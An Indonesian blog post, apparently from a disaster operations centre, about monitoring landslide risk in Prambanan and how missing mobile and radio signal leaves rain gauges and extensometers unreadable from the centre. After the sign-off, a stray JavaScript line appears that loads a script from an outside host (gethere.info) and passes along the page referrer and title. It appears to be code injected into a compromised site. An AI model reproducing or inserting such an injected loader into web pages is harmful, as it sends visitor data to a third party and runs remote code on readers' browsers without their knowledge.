ARG Prambanan, Ekstensometer Dan Persoalan Sinyal

0

PUSDALOPS, Saat perubahan cuaca cukup signifikan terutama pada curah hujan seiring peringatan dari BMKG  dari tanggal 17 sampai 20 Juni  tentang potensi hujan lebat, menyusul perintah dari BNPB untuk mewaspadai  informasi BMKG disertai peringatan dini dari  BMKG DIY.

Berdasarkan pertimbangan informasi di atas PUSDALOPS melakukan berbagai upaya monitoring cuaca pada wilayah  khususnya yang sangat berpotensi akan  terjadinya tanah longsor, yaitu  wilayah Prambanan. Sampai saat ini  masih ada  kendala salah satunnya adalah pada sistem  ARG (BPBD)Gayamharjo, Watukangsi dan Gunung Cilik tidak dapat kami monitoring langsung di PUSDALOPS, hal ini disebabkan oleh faktor sinyal yang tidak ada, karena kebanyakan wilayah Prambanan adalah area blank spot , walaupun dalam system ekstensometer sendiri telah dilengkapi sirine otomatis  yang bisa menyala saat pergerakan tanah melampaui ambang batas parameternya.

ARG  BMKG Prambanan kota pun yang  setidaknya bisa mewakili curah hujan real time pada wilayah dimaksud dan sistem AWLR Sungai Opak dan visualnya dalam keadaan offline saat itu.                     Kendala  lain adalah dalam komunikasi  frekwensi , kurang kuatnya sinyal radio adalah sebagai penyebab  lambatnya informasi dari wilayah Prambanan.

Dalam hal ini  diperlukan sebuah  kajian hingga solusi bagaimana mengatasi persoalan (teknis) di atas. PUSDALOPS yang juga berfungsi sebagai pemantau tentu sangat  membutuhkan informasi yang cepat dari suatu wilayah potensi bencana, dari informasi awal pra bencana yang (saat ini) didominasi oleh faktor cuaca setempat, sebagaimana kita tahu bahwa sebagian wilayah Prambanan berpotensi terjadi tanah longsor.  Sebetulnya sistemnya sudah ada dan terpasang di PUSDALOPS,  namun kembali ke persoalan  sinyal . Di balik keterbatasan di atas kita selalu berharap semoga wilayah Prambanan tidak terjadi kejadian kebencanaan. Semoga (den)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.